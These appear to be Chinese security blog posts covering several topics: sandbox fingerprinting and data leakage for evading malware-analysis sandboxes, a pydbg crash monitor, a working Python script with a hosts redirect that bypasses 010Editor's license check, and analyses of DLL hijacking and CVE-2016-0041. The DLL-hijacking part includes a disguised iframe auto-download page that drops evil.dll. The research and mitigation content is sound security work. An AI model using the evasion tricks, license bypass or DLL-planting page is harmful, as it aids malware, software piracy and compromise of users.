有的厂商估计不太愿意浪费硬件,给沙箱只分配了少量内存,比如Anubis只给了128M,Comodo只给了256M,国内的翰海源和金山火眼则是512M。如果你的PC机只有这么小的内存,那只能说你是在是太节俭了。当然,考虑到有的服务器可能就是这个样子,所以怎么检测就看实际情况了。
同样的,基于硬盘大小去检测我想也是可以的。

2.4 基于样本路径检测
样本上传到沙箱之后,样本自身的路径也可以当做一个特征来检测。比如Comodo的沙箱(是的,不是HIPS,是在线沙箱)的样本路径固定位C:\TEST\sample.exe,这个就太明显了。

2.5 沙箱指纹测试小结
很早之前的数据了,测试了翰海源文件B超、金山火眼、Anubis、Comodo、Malwr,因为有些沙箱服务不太稳定,所以只测试了这几个。结果如图所示:
沙箱逃逸技术,沙箱指纹检测

0×03. 不联网也可以泄露数据
在上一小节中,我们提到通过在样本报告中泄露文字信息。对于没有联网的沙箱,我们该如何泄露机器中的文件数据呢?也是可以考虑将文件内容读取出来之后,写入到注册表中来触发监控行为,随后在报告中就可以看到了。不过这样可能会使得报告相当的长,就得看报告对长度有没有限制了。

在乌云上看到一个比较猥琐的技巧(火眼恶意代码分析系统自保机制绕过导致二进制泄露):将二进制数据写入图片的像素值,因为沙箱系统会对程序的界面截图并展示在报告中,所以可以通过对图片进行解码来提取二进制数据。
漏洞作者提供的测试样本报告:http://fireeye.ijinshan.com/analyse.html?md5=0a33548fd14458e10b773b1b2237e2fc#full

0×04. 沙箱检测小结
检测的方法其实可多了,当然不需要去一一列举,因为枚列举一条,可能过不了多久就不能用了,不仅如此,你的行为可能还会触发报警系统。不过核心思路就是:就特征而言,沙箱有的而别的机器却没有的,都可以当做指纹特征!就方法而言,你有的而别人没有的逃逸方法都是好方法!

欢迎大家在评论中进行讨论哦~另外给自己的微博做个广告 @HiWinson 欢迎关注~


本文地址: 程序人生 >> 也来谈谈沙箱逃逸技术
作者:代码疯子(Wins0n) 本站内容如无声明均属原创,转载请保留作者信息与原文链接,谢谢!

试用pydbg

$
0
0

pydbg是基于Python实现的一个调试器框架,之前看《Python灰帽子:黑客与逆向工程师的Python编程之道》这本书的时候接触过一点,今天再次试用,记录一点使用心得。

0×01. 安装
1. 下载pydbg源码
从 https://github.com/OpenRCE/pydbg 下载 pydbg 的源码,解压后复制到 C:\Python27\Lib\site-packages 文件夹下,注意文件夹重命名为 pydbg;
2. 下载paimei源码
从 https://github.com/OpenRCE/paimei 下载 paimei 的源码,解压后将其中的pgraph、pida、utils复制到 C:\Python27\Lib\site-packages 文件夹下;
3. 更新pydasm.pyd
自带的pydasm.pyd无法在Python 2.7下正常工作,会提示ImportError错误,所以需要自己编译一个pydasm,这里直接从看雪论坛找了一个现成的(http://bbs.pediy.com/showthread.php?t=133992);
pydbg pydasm.pyd ImportError: DLL load failed: 找不到指定的模块
0×02. 样例代码
基本框架代码如下(主要是设置回调函数,通过设置USER_CALLBACK_DEBUG_EVENT可以实现超时监控):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
#!/usr/bin/env python
# -*- coding:utf-8 -*-
from pydbg import *
from pydbg.defines import *
import utils
import time
 
def get_crash_info(debugger):
    """获取Crash信息"""
    crash_bin = utils.crash_binning.crash_binning()
    crash_bin.record_crash(debugger)
    return crash_bin.crash_synopsis()
 
def access_violation(debugger):
    """Access Violation 回调函数"""
    if debugger.dbg.u.Exception.dwFirstChance:
        return DBG_EXCEPTION_NOT_HANDLED
 
    #print get_crash_info(debugger)
 
    debugger.terminate_process()
    return DBG_EXCEPTION_NOT_HANDLED
 
def time_out(debugger):
    """超时回调函数"""
    if time.time() - debugger.start_time > 10.0:
        debugger.terminate_process()
        return DBG_CONTINUE
 
def main():
    debugger = pydbg()
    # 创建新进程,使用load函数
    debugger.load(r"C:\Windows\System32\calc.exe")
    # 如果是附加到现有进程,使用attach函数
    #debugger.attach(pid)
    debugger.set_callback(EXCEPTION_ACCESS_VIOLATION, access_violation)
    debugger.set_callback(USER_CALLBACK_DEBUG_EVENT, time_out)
    debugger.start_time = time.time()
    debugger.run()
 
if __name__ == "__main__":
    main()

0×03. 吐槽
使用pydbg测试两个不同的样本,结果有时候得到的Crash信息居然是一模一样的,于是放弃之

扩展阅读:如何进行浏览器Fuzz
参考:
https://github.com/rmadair/fuzzer/blob/master/Executor.py
http://bbs.pediy.com/showthread.php?t=133992


本文地址: 程序人生 >> 试用pydbg
作者:代码疯子(Wins0n) 本站内容如无声明均属原创,转载请保留作者信息与原文链接,谢谢!

绕过010Editor网络验证

$
0
0

010Editor是一款非常强大的十六进制编辑器,尤其是它的模板功能在分析文件格式时相当好用!网上现在也有不少010Editor的破解版,如果没钱或者舍不得花钱买授权的话,去官方下载安装包再使用注册机算号是一个比较安全的选择。不过010Editor是有网络验证功能的,可以在本地架一个HTTP服务器来绕过这个验证(网上也能找到通过修改注册表绕过的方法,没有验证)。使用Python的BaseHTTPServer模块就可以实现这个功能(继承BaseHTTPRequestHandler并重写do_GET方法即可)。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#!/usr/bin/env python
# -*- coding:utf-8 -*-
from BaseHTTPServer import HTTPServer, BaseHTTPRequestHandler
 
HOST = "127.0.0.1"
PORT = 80
 
class RequestHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(200)
        self.send_header("Content-Type", "text/html")
        self.end_headers()
        self.wfile.write("<ss>valid</ss>")
 
def run_server():
    server = HTTPServer((HOST, PORT), RequestHandler)
    server.serve_forever()
 
if __name__ == "__main__":
    # redirect www.sweetscape.com to 127.0.0.1 in hosts
    run_server()

修改hosts文件把www.sweetscape.com绑定到127.0.0.1,随后把Python脚本扩展名写成pyw并加入启动项就一劳永逸了。当然,使用这种方法需要先有一组能够通过010Editor本地验证的序列号,这个用注册机就OK了。
010Editor注册码网络验证绕过

zlib.decompress(base64.b64decode('eJwzNLKw0DU2sXTWNTIzcNN1MjcyBAAnWwP4'))

本文地址: 程序人生 >> 绕过010Editor网络验证
作者:代码疯子(Wins0n) 本站内容如无声明均属原创,转载请保留作者信息与原文链接,谢谢!


CVE-2016-0041 Windows 10 PhoneInfo.dll Hijacking Vulnerability

$
0
0

微软在2016年2月份发布的补丁中补掉了一个DLL劫持漏洞,该漏洞是MS16-014漏洞之一,CVE编号为CVE-2016-0041。在2015年12月份我注意到了这个漏洞的存在,但是并没有报告给微软,因为我没有给微软报告过漏洞……当时候特地去搜了一下关于phoneinfo.dll的信息,发现只有TK(@tombkeeper)在2015年的CanSecWest安全会议上的一个议题中(Sexrets of LoadLibrary)有提及。

0×01. 漏洞发现
当时候我在Windows 10下监控了一下Foxit Reader加载的DLL模块,发现当打开一个PDF文件的时候FoxitReader.exe会多次尝试加载PDF文件目录下的phoneinfo.dll文件,这个当然可以认为是一个DLL劫持漏洞。由于手头正好发现了Foxit Reader的另一个DLL劫持漏洞(Untrusted search path vulnerability),所以我把他们一起报给了Foxit。

0×02. 漏洞分析
查看一下尝试加载phoneinfo.dll时的调用栈,发现LoadLibraryExW起源于urlmon.dll中一个叫做UrlMkGetSessionOption的函数,调用栈如下图所示:
FoxitReader.exe StackTrace 进程调用栈

使用IDA Pro分析Windows 10下的urlmon.dll(分析时选择从微软的服务器下载对应的pdb符号文件),可以知道对应的调用路径如下所示:

UrlMkGetSessionOption
└--> GetUserAgentString
     └--> GetUserAgentStringForMode
          └--> InitUserAgentGlobals
               └--> BuildUserAgentStringMobileHelper
                    └-->LoadLibraryExW

可以看出,最后在BuildUserAgentStringMobileHelper这个函数中通过调用LoadLibraryExW加载了phoneinfo.dll这个DLL文件。对应的代码如下所示:
BuildUserAgentStringMobileHelper loadlibraryexw phoneinfo.dll

Greg Linares working with CyberPoint SRT在SRT-VR-24DEC2015中给出了另外2个可以触发这个漏洞的路径:

_____________________________________________________
CINetHttpEdge::SetOptionUserAgent OR
CINetHttp::SetOptionUserAgent OR
CIEBrowserModeFilter::collectCacheEntryInfoCallback
_____________________________________________________
            |
            V
MapBrowserEmulationStateToUserAgent (Ordinal 445)
            |
            V
InitUserAgentGlobals (Ordinal 492)
            |
            V
BuildUserAgentStringMobileHelper
 
 
_____________________________________________________
ObtainUserAgentString (Ordinal 211) OR
GetUserAgentString
_____________________________________________________
            |
            V
InitUserAgentGlobals (Ordinal 492)
            |
            V
BuildUserAgentStringMobileHelper

urlmon.dll中可能还存在更多可以触发这个DLL劫持漏洞的API,具体可以在IDA中通过交叉引用来进行溯源。

0×03. 漏洞验证
Windows 10下并不存在phoneinfo.dll这个文件,在发现这个问题时我与同事讨论过,认为这可能是Windows Phone下的一个文件。在Windows 10下,只要软件中存在能够到达调用BuildUserAgentStringMobileHelper的代码执行路径,就可以触发这个漏洞。比如上面分析的Foxit Reader中调用的UrlMkGetSessionOption。

可以编写下面这样一段代码来进行验证:

void CPhoneInfoDlg::OnBnClickedCallFunction()
{
    DWORD dwBufferLengthOut = 0;
    UrlMkGetSessionOption(
        URLMON_OPTION_USERAGENT,
        NULL,
        0,
        &dwBufferLengthOut,
        0);
}

编译后生成一个EXE文件(这里命名为PhoneInfo.exe);在Windows 10下,新建一种文件格式(如.foobar)并关联到PhoneInfo.exe。这样,在双击.foobar文件时,就会自动加载当前目录下的phoneinfo.dll文件。Exploit的效果如下图所示:
Windows10 urlmon.dll phoneinfo.dll劫持EXPLOIT POC

0×04. References

https://technet.microsoft.com/zh-cn/library/security/ms16-014.aspx

https://cansecwest.com/slides/2015/Sexrets_of_LoadLibrary__Yang_yu%20_CSW2015.pdf

https://github.com/CyberPoint/advisories/blob/master/SRT-VR-24DEC2015.txt


本文地址: 程序人生 >> CVE-2016-0041 Windows 10 PhoneInfo.dll Hijacking Vulnerability
作者:代码疯子(Wins0n) 本站内容如无声明均属原创,转载请保留作者信息与原文链接,谢谢!

深入解析DLL劫持漏洞

$
0
0

0×00. 导读

DLL劫持是一种古老的技术了,本文是《CVE-2016-0041 Windows 10 PhoneInfo.dll Hijacking Vulnerability》的延伸,介绍了DLL劫持的漏洞原理、漏洞挖掘方法、漏洞利用场景等,同时引入了HaifeiLi关于Chrome/Edge自动下载漏洞的介绍,以及最新版本Edge对DLL注入的缓解措施。本文已在外部发表于乌云知识库,特别感谢tombkeeper在行文思路上的建议。

0×01. DLL劫持漏洞介绍

1.1 漏洞简介

如果在进程尝试加载一个DLL时没有指定DLL的绝对路径,那么Windows会尝试去指定的目录下查找这个DLL;如果攻击者能够控制其中的某一个目录,并且放一个恶意的DLL文件到这个目录下,这个恶意的DLL便会被进程所加载,从而造成代码执行。这就是所谓的DLL劫持。

在Windows XP SP2之前,Windows查找DLL的目录以及对应的顺序如下:
1. 进程对应的应用程序所在目录;
2. 当前目录(Current Directory);
3. 系统目录(通过 GetSystemDirectory 获取);
4. 16位系统目录;
5. Windows目录(通过 GetWindowsDirectory 获取);
6. PATH环境变量中的各个目录;

在Windows下,几乎每一种文件类型都会关联一个对应的处理程序,当我们在资源管理器中打开某种特定类型的文件时,与之相关联的处理程序便会被执行,也就是会新建一个进程,进程默认的 Current Directory (当前目录)就是被打开文件所在的目录。在Windows搜索DLL的这些目录中,攻击者最容易控制的当然是 Current Directory 。攻击者可以把恶意的DLL文件和目标文件(如WORD文档)打包在一起,如果受害者进行解压操作,恶意DLL和目标文件就会位于同一个目录,攻击者可以十分方便的实施DLL劫持。

由于早期Windows查找DLL文件的顺序并不合理,可以想象DLL劫持漏洞伴随着Windows存在了相当长的时间。然而,在相当长的一段时间里DLL劫持漏洞并没有受到大家的关注,直到2010年8月,微软发布安全通报2269637,同时网上公布了大量受影响软件的名字,DLL劫持漏洞才开始进入大家的视野。

1.2 漏洞归类

DLL劫持漏洞翻译成英文叫做 DLL Hijacking Vulnerability,CWE将其归类为 Untrusted Search Path Vulnerability。如果想要去CVE数据库中搜索DLL劫持漏洞案例,搜索这两个关键词即可。

1.3 缓解措施

从Windows XP SP2开始,SafeDllSearchMode 默认会被开启。SafeDllSearchMode的开启与否主要影响 Current Directory(当前目录) 在搜索顺序中的位置。开启SafeDllSearchMode后的DLL搜索顺序如下:
1. 进程对应的应用程序所在目录;
2. 系统目录(通过 GetSystemDirectory 获取);
3. 16位系统目录;
4. Windows目录(通过 GetWindowsDirectory 获取);
5. 当前目录
6. PATH环境变量中的各个目录;

启用SafeDllSearchMode之后可以防范大部分DLL劫持,如系统DLL劫持。不过,如果进程尝试加载的DLL并不存在,那么进程仍然会尝试去当前目录加载这个DLL,这是SafeDllSearchMode所无法防范的。不过微软引入了 SetDllDirectory 这个API,给这个API传递一个空字符串就可以将当前目录从DLL搜索顺序中排除掉。

BOOL WINAPI SetDllDirectory(
  _In_opt_ LPCTSTR lpPathName
);
If the lpPathName parameter is an empty string (""), 
the call removes the current directory from the default DLL search order.

1.4 漏洞检查

使用Sysinternals工具包中的 Process Monitor(ProcMon)可以十分方便的检测DLL劫持漏洞,只需要设置几个过滤参数即可。
1. ProcessName 目标进程的名字;
2. Path 文件路径,可以设置为 begins with 当前目录所在路径;
3. Result 结果,设置为 NAME NOT FOUND

0×02. DLL劫持漏洞利用场景

2.1 针对应用程序安装目录的DLL劫持

不管SafeDllSearchMode是否开启,在查找DLL时应用程序本身所在的目录都是最先被搜索的。因此如果能够放一个恶意的DLL文件到程序的安装目录,就可以利用DLL劫持漏洞来执行代码。

这种利用场景的要求相对较高,因为大部分程序默认安装到 %ProgramFiles% 或者是 %ProgramFiles(x86)%。这两个目录都需要管理员权限才可以进行写入操作,也就是说在进行DLL劫持之前,要求已经具有代码执行权限。基于这一原因,软件厂商一般不予处理此类问题。

这种场景多被一些恶意代码所使用,对常用软件进行DLL劫持可以在一定程度替代自启动功能,同时,利用 白加黑 方式还能逃避安全软件的检测。此外,一些外挂或者破解程序也会采用这种方式进行DLL劫持,例如QQ的一些显IP插件就是通过劫持 msimg32.dll 来实现功能的。

2.2 针对文件关联的DLL劫持

在Windows下,我们平时使用的各种文件(如MP3音乐、DOC文档、PDF文档、MKV视频等)都有一个与之关联的默认处理软件。当在资源管理器中打开某种特定类型的文件时,操作系统会自动创建一个进程来处理这个文件,进程对应的程序就是该文件类型关联的默认处理程序,进程的 当前目录 就是被打开文件所在的目录。

例如,如果Adobe Acrobat DC关联了.PDF文件类型,那么打开PDF文件时就会自动创建一个Acrobat.exe进程,进程的当前目录(Current Directory)就是PDF文件所在的目录。如果进程尝试加载一个不存在的DLL,根据默认的DLL搜索顺序,进程最终会搜索到PDF文件所在目录(即当前目录),如果该目录下恰好就存在有一个同名的DLL,那么这个DLL就会被进程所加载。这就是所谓的 文件关联型DLL劫持

相对于 针对应用程序安装目录的DLL劫持针对文件关联的DLL劫持 的利用条件十分简单,只要放一个恶意的DLL就行了。由于实施这种DLL劫持不需要其他先决条件,许多厂商关注并承认该利用场景下的DLL劫持漏洞

许多流行软件可能仍然存在有这种DLL劫持漏洞:笔者在2015年给12月给Adobe报告了Adobe Acrobat DC 15.009.20077中存在的一个DLL劫持漏洞(CVE-2016-0947),该漏洞由Acrobat.exe进程加载不存在的updaternotifications.dll所引起。此外,去CVE漏洞库搜索 DLL Hijacking 或者 Untrusted Search Path 也能找到很多案例。

2.3 针对安装程序的DLL劫持

许多应用程序的安装包程序也存在有DLL劫持漏洞,这种场景与 针对应用程序安装目录的DLL劫持 比较类似,本来也没有什么特殊之处,不过结合后文提到的浏览器自动下载漏洞,其利用条件又变得相对简单了。

这里以Notepad++最新的安装包npp.6.9.Installer.exe为例来进行讲解。启动 ProcMon 并设置好过滤器,可以看到npp.6.9.Installer.exe运行后尝试加载了许多DLL,这些都是第一次加载时没有加载成功的。
Notepad++安装包npp.6.9.Installer.exe尝试加载但未成功加载的DLL列表

仔细观察进程尝试加载这些DLL时产生的调用栈,会发现有的调用栈中存在有 LoadLibrary(Ex),而有的调用栈中却没有。这里选取 Version.dll 和 SHFOLDER.dll 来进行对比说明。

  • npp.6.9.Installer.exe在尝试加载 Version.dll 时产生的调用栈中并没有 LoadLibrary(Ex),这是因为DLL并不是被进程动态加载的,而是因为应用程序的导入表直接或者间接导入了这个DLL。在这种利用场景下,伪造DLL的导出表最好与被伪造DLL的导出表完全一致,否则DLL可能无法被进程成功加载(会弹出错误提示消息框)。有一个叫做 AheadLib 的工具可以十分方便的生成此类DLL的源文件。
     0   fltmgr.sys      FltAcquirePushLockShared + 0x907
     1   fltmgr.sys      FltIsCallbackDataDirty + 0x1f3d
     2   fltmgr.sys      FltDeletePushLock + 0x64f
     3   ntoskrnl.exe    MmCreateSection + 0x25b1
     4   ntoskrnl.exe    SeQueryInformationToken + 0xe3e
     5   ntoskrnl.exe    ObOpenObjectByName + 0x306
     6   ntoskrnl.exe    NtOpenProcessTokenEx + 0x326
     7   ntoskrnl.exe    KeSynchronizeExecution + 0x3a23
     8   ntdll.dll       ZwQueryAttributesFile + 0xa
     9   wow64.dll       Wow64EmulateAtlThunk + 0xd2b1
    10   wow64.dll       Wow64SystemServiceEx + 0xd7
    11   wow64cpu.dll    TurboDispatchJumpAddressEnd + 0x2d
    12   wow64.dll       Wow64SystemServiceEx + 0x1ce
    13   wow64.dll       Wow64LdrpInitialize + 0x42a
    14   ntdll.dll       RtlUniform + 0x6e6
    15   ntdll.dll       EtwEventSetInformation + 0x186f8
    16   ntdll.dll       LdrInitializeThunk + 0xe
    17   ntdll.dll       ZwQueryAttributesFile + 0x12
    18   ntdll.dll       aullrem + 0x1f1
    19   ntdll.dll       aullrem + 0x6cb
    20   ntdll.dll       aullrem + 0x565
    21   ntdll.dll       RtlEncodeSystemPointer + 0x404
    22   ntdll.dll       RtlSetBits + 0xf0
    23   ntdll.dll       RtlSetBits + 0x16b
    24   ntdll.dll       RtlSetBits + 0x60
    25   ntdll.dll       RtlSetThreadPoolStartFunc + 0x3a1
    26   ntdll.dll       RtlSetUnhandledExceptionFilter + 0x50
    27   ntdll.dll       LdrInitializeThunk + 0x10
  • npp.6.9.Installer.exe在尝试加载 SHFOLDER.dll 时产生的调用栈中存在有 LoadLibrary(Ex),说明这个DLL是被进程所动态加载的。在这种利用场景下,伪造的DLL文件不需要存在任何导出函数即可被成功加载,即使加载后进程内部出错,也是在DLL被成功加载之后的事情。
     0   fltmgr.sys         FltAcquirePushLockShared + 0x907
     1   fltmgr.sys         FltIsCallbackDataDirty + 0x1f3d
     2   fltmgr.sys         FltDeletePushLock + 0x64f
     3   ntoskrnl.exe       MmCreateSection + 0x25b1
     4   ntoskrnl.exe       SeQueryInformationToken + 0xe3e
     5   ntoskrnl.exe       ObOpenObjectByName + 0x306
     6   ntoskrnl.exe       NtOpenProcessTokenEx + 0x326
     7   ntoskrnl.exe       KeSynchronizeExecution + 0x3a23
     8   ntdll.dll          ZwQueryAttributesFile + 0xa
     9   wow64.dll          Wow64EmulateAtlThunk + 0xd2b1
    10   wow64.dll          Wow64SystemServiceEx + 0xd7
    11   wow64cpu.dll       TurboDispatchJumpAddressEnd + 0x2d
    12   wow64.dll          Wow64SystemServiceEx + 0x1ce
    13   wow64.dll          Wow64LdrpInitialize + 0x42a
    14   ntdll.dll          RtlUniform + 0x6e6
    15   ntdll.dll          EtwEventSetInformation + 0x186f8
    16   ntdll.dll          LdrInitializeThunk + 0xe
    17   ntdll.dll          ZwQueryAttributesFile + 0x12
    18   ntdll.dll          aullrem + 0x1f1
    19   ntdll.dll          aullrem + 0x6cb
    20   ntdll.dll          aullrem + 0x565
    21   ntdll.dll          RtlLookupAtomInAtomTable + 0x35a
    22   ntdll.dll          RtlUlonglongByteSwap + 0x671
    23   KernelBase.dll     LoadLibraryExW + 0x243
    24   KernelBase.dll     LoadLibraryExA + 0x26
    25   kernel32.dll       LoadLibraryA + 0x31

2.4 Microsoft Edge与Google Chrome的自动下载漏洞

通过 iframe 可以触发 Microsoft Edge 和 Google Chrome 的自动下载功能,这一特性被 @HaifeiLi 认为是一个安全漏洞,其在Twitter上发表了很多关于该漏洞的推文,甚至抱怨Chrome和Edge团队忽视这个漏洞的存在。在HaifefiLi的长期呼吁下,Chrome最终在48.0.2564.82版本中修复了这个漏洞,而截至笔者撰文时Edge似乎仍然没有修复该漏洞。

Edge浏览器的默认下载目录为 C:\Users\Username\Downloads,通过Edge下载的文件默认都会保存在这个目录下。可以利用Edge的自动下载漏洞下载一个恶意的DLL文件(如Version.dll)到这个目录下,然后利用页面超时自动跳转功能让Edge跳转到正常页面来诱导用户下载一个正常的安装文件,当用户运行安装程序时恶意的DLL文件便会被进程加载。

测试浏览器自动下载漏洞的HTML测试代码如下所示:

<html>
    <head>
        <title>Windows Update</title>
    </head>
    <body>
        <iframe src="evil.dll"></iframe>
        <script>
            setTimeout( function () {
                            window.location = "https://get.adobe.com/reader"
                        }, 5000);
        </script>
    </body>
</html>

在Windows 10下使用Edge打开这个HTML页面,可以看到DLL文件被自动下载到了本地的下载目录中。不过由于DLL没有有效的数字签名,所以Edge会提示这个文件可能存在风险。
Windows Edge浏览器自动下载漏洞

如果DLL文件具有有效的数字签名,那么Edge就不会这样提示了。在最新版本的Google Chrome(48.0.2564.116 m)上测试发现,不管DLL是否具有有效的数字签名,DLL文件下载之后都需要用户手工确认才会保存,否则会被删除。Chrome和Edge的测试结果汇总如下:
Chrome和Edge自动下载测试结果汇总

浏览器的自动下载漏洞还是十分危险的,攻击者甚至只需要诱导用户下载一个恶意的DLL,以后用户在下载目录中执行各种程序时都有可能加载这个DLL。此外,安装程序一般都会请求管理员权限,对于恶意的DLL来说管理员权限似乎是与生俱来的。

0×03. 非典型漏洞CVE-2016-0041分析

微软安全公告MS16-014中的描述表明其修复了一个CVE-ID为CVE-2016-0041的DLL劫持漏洞。漏洞详情为:Windows 10下的 URLMON.dll 文件存在加载 phoneinfo.dll 的代码,而Windows 10本身并不携带这个 phoneinfo.dll 文件,并且在查找DLL时使用的是标准的目录搜索顺序,所以这里会导致DLL劫持漏洞。这个漏洞的独特之处在于其存在于操作系统本身,所以在Windows 10下,只要是调用了 URLMON.dll 中能够触发漏洞代码的API的软件都会受到这个漏洞的影响。笔者在2015年底也发现了也发现了这个漏洞,同时确认Foxit Reader 7.2.8.1124受到该漏洞的影响,并将其报告给了Foxit Software。

3.1 漏洞分析

在发现这个漏洞时,笔者发现网上很少有关于 phoneinfo.dll 文件的介绍,只有 @tombkeeperSexrets of LoadLibrary 中提到了这个文件。TK指出 IE11 running on Windows 10 TP 9926 会尝试加载 phoneinfo.dll,而IE的当前目录就是桌面,所以如果放一个 phoneinfo.dll 到桌面上的话,在启动IE时这个DLL便会被加载。

Greg Linares 在 SRT-VR-24DEC2015 中指出 Windows10 的 URLMON.dll 中存在两处加载 phoneinfo.dll 的地方,可能是DLL文件的版本不一样,笔者找到的代码与之存在一些细微差异。笔者在分析 11.0.10240.16384 版本的 URLMON.dll 时找到的反汇编代码如下所示:

  • 下面的代码位于 BuildUserAgentStringMobileHelper 中:
    .text:1A4636A1 loc_1A4636A1: 
    .text:1A4636A1                 mov     eax, pfnQueryPhoneInformation
    .text:1A4636A6                 mov     [ebp+pszValue], 0
    .text:1A4636AD                 mov     [ebp+szSrc], eax
    .text:1A4636B3                 test    eax, eax         ; 判断eax寄存器的值是否为0
    .text:1A4636B5                 jnz     loc_1A48FC97     ; 如果不为0则跳转
    .text:1A4636BB                 push    eax              ; dwFlags = 0
    .text:1A4636BC                 push    eax              ; hFile   = 0
    .text:1A4636BD                 push    offset aPhoneinfo_dll ; "phoneinfo.dll"
    .text:1A4636C2                 call    ds:__imp__LoadLibraryExW@12 ; LoadLibraryExW(x,x,x)
    .text:1A4636C8                 test    eax, eax
    .text:1A4636CA                 jnz     loc_1A48FC78
  • 下面的代码位于 _QueryPhoneInformationA 中:
    .text:1A461B93                 mov     edi, pfnQueryPhoneInformation
    .text:1A461B99                 mov     byte ptr [ebx], 0
    .text:1A461B9C                 test    edi, edi
    .text:1A461B9E                 jnz     loc_1A48EE56
    .text:1A461BA4                 push    edi             ; dwFlags
    .text:1A461BA5                 push    edi             ; hFile
    .text:1A461BA6                 push    offset aPhoneinfo_dll ; "phoneinfo.dll"
    .text:1A461BAB                 call    ds:__imp__LoadLibraryExW@12 ; LoadLibraryExW(x,x,x)
    .text:1A461BB1                 test    eax, eax
    .text:1A461BB3                 jnz     loc_1A48EE34

这里加载 phoneinfo.dll 的代码为 LoadLibraryExW(“phoneinfo.dll”, NULL, 0)。因为这里 dwFlags 的值为0,所以使用标准的DLL搜索顺序;由于Windows 10上并不存在 phoneinfo.dll 这个文件,所以进程最终会尝试加载当前目录下的DLL。

这里简单分析一下受该漏洞影响的Foxit Reader。当在Windows 10下打开一个PDF文件时,进程 FoxitReader.exe 会加载当前目录下的 phoneinfo.dll 文件,对应的调用栈如下所示:

......
16   KernelBase.dll     LoadLibraryExW + 0x124
17   urlmon.dll         Ordinal523 + 0x6f1
18   urlmon.dll         Ordinal492 + 0x941
19   urlmon.dll         Ordinal492 + 0x165
20   urlmon.dll         Ordinal445 + 0x2e0
21   urlmon.dll         RegisterFormatEnumerator + 0xe2
22   urlmon.dll         UrlMkGetSessionOption + 0xcf
23   FoxitReader.exe    CertFreeCertificateChainEngine + 0x72fbef
24   FoxitReader.exe    CertFreeCertificateChainEngine + 0x70bbc2
25   FoxitReader.exe    CertFreeCertificateChainEngine + 0x70f61e
26   FoxitReader.exe    CertFreeCertificateChainEngine + 0x6f9f9c
27   user32.dll         Ordinal2535 + 0x83
28   user32.dll         GetScrollInfo + 0x1e8
29   user32.dll         DispatchMessageW + 0x28d
30   user32.dll         DispatchMessageW + 0x10
31   FoxitReader.exe    FoxitReader.exe + 0x2d1f1b
32   FoxitReader.exe    FoxitReader.exe + 0x2da62d
33   FoxitReader.exe    FoxitReader.exe + 0x882a36
34   FoxitReader.exe    FoxitReader.exe + 0x1866d1
35   FoxitReader.exe    FoxitReader.exe + 0x173286
36   FoxitReader.exe    FoxitReader.exe + 0x173563
37   FoxitReader.exe    FoxitReader.exe + 0x21483f
38   FoxitReader.exe    FoxitReader.exe + 0x217726
39   FoxitReader.exe    FoxitReader.exe + 0x1e4922
40   FoxitReader.exe    FoxitReader.exe + 0x1f4aba
41   FoxitReader.exe    FoxitReader.exe + 0x1e8d6a
42   FoxitReader.exe    FoxitReader.exe + 0x1eb562
43   FoxitReader.exe    CertFreeCertificateChainEngine + 0x91e56c
44   FoxitReader.exe    FoxitReader.exe + 0x46cd8e
45   kernel32.dll       BaseThreadInitThunk + 0x24
46   ntdll.dll          RtlInitializeCriticalSectionAndSpinCount + 0x29e
47   ntdll.dll          RtlInitializeCriticalSectionAndSpinCount + 0x26d

结合IDA或者Windbg进行分析,可以知道这里的调用路径为:

UrlMkGetSessionOption
└--> GetUserAgentString
     └--> GetUserAgentStringForMode
          └--> InitUserAgentGlobals
               └--> BuildUserAgentStringMobileHelper
                    └-->LoadLibraryExW

即Foxit Reader因为调用了URLMON.dll中的UrlMkGetSessionOption函数,导致其受到DLL劫持漏洞的影响。在IDA中使用交叉引用功能进行回溯,可以找到其他能够触发该漏洞的路径,Greg Linares 给出了另外两个路径:

  • 路径1
    -----------------------------------------------------┐
    │        CINetHttpEdge::SetOptionUserAgent            │
    │          CINetHttp::SetOptionUserAgent              │
    │ CIEBrowserModeFilter::collectCacheEntryInfoCallback │
    └-----------------------------------------------------┘
    └--> MapBrowserEmulationStateToUserAgent (Ordinal 445)--> InitUserAgentGlobals (Ordinal 492)--> BuildUserAgentStringMobileHelper
  • 路径2
    -------------------------------------┐
    │ ObtainUserAgentString (Ordinal 211) │
    │         GetUserAgentString          │
    └-------------------------------------┘
    └--> InitUserAgentGlobals (Ordinal 492)--> BuildUserAgentStringMobileHelper

Greg Linares 同时也指出了他们发现的其他受该漏洞影响的软件:
1. Internet Explorer 没有命令行参数的情况下(例如双击并打开IE);
2. Skype 启动的时候;
3. OneDrive 同步以及更新的时候(无需用户交互);
4. Visual Studio 2015 微软账户更新或者同步的时候;

3.2 补丁分析

更新后的URLMON.dll文件在调用 LoadLibraryEx 加载 phoneinfo.dll 时将 dwFlags 参数值指定为 0×800,即 LOAD_LIBRARY_SEARCH_SYSTEM32,表示只搜索 System32 目录。对应的代码为LoadLibraryExW(L”phoneinfo.dll”, NULL, LOAD_LIBRARY_SEARCH_SYSTEM32),反汇编代码如下:

.text:1A46386B                 push    800h            ; dwFlags
.text:1A463870                 push    eax             ; hFile
.text:1A463871                 push    offset aPhoneinfo_dll ; "phoneinfo.dll"
.text:1A463876                 call    ds:__imp__LoadLibraryExW@12 ; LoadLibraryExW(x,x,x)

0×04. DLL劫持漏洞缓解措施

DLL劫持漏洞在未来可能仍然会影响着许多软件或者操作系统组件,亦或是与其他漏洞相结合以衍生出新的攻击方法。尽管目前没有一个完美的方法(No Silver Bullet)可以防止软件受到DLL劫持漏洞的影响,但是开发人员仍然可以采取各种措施来缓解DLL劫持漏洞带来的影响。

4.1 基本缓解措施

1. 在加载DLL时尽量使用DLL的绝对路径;
2. 调用SetDllDirectory(L””)当前目录 从DLL搜索目录中排除;
3. 使用 LoadLibraryEx 加载DLL时,指定 LOAD_LIBRARY_SEARCH_ 系列标志;

此外,进程也可以尝试去验证DLL的合法性,例如是否具有自家的合法数字签名、是否是合法的系统DLL文件等。

4.2 Windows Edge缓解措施

最新版本的Edge提供了一种对抗DLL劫持(注入)的缓解措施:只有拥有微软签名以及WHQL(Windows Hardware Quality Lab)签名的DLL模块才会被Edge加载,而且这套机制是在操作系统内核中实现的。

关于这一缓解措施的细节分析,可以阅读 Paul Rascagneres 的文章 MICROSOFT EDGE BINARY INJECTION MITIGATION OVERVIEW

0×05. Acknowledges

感谢 TK 在行文思路上的建议;同时,在本文的写作过程中参考了以下资料,在此亦表示感谢。

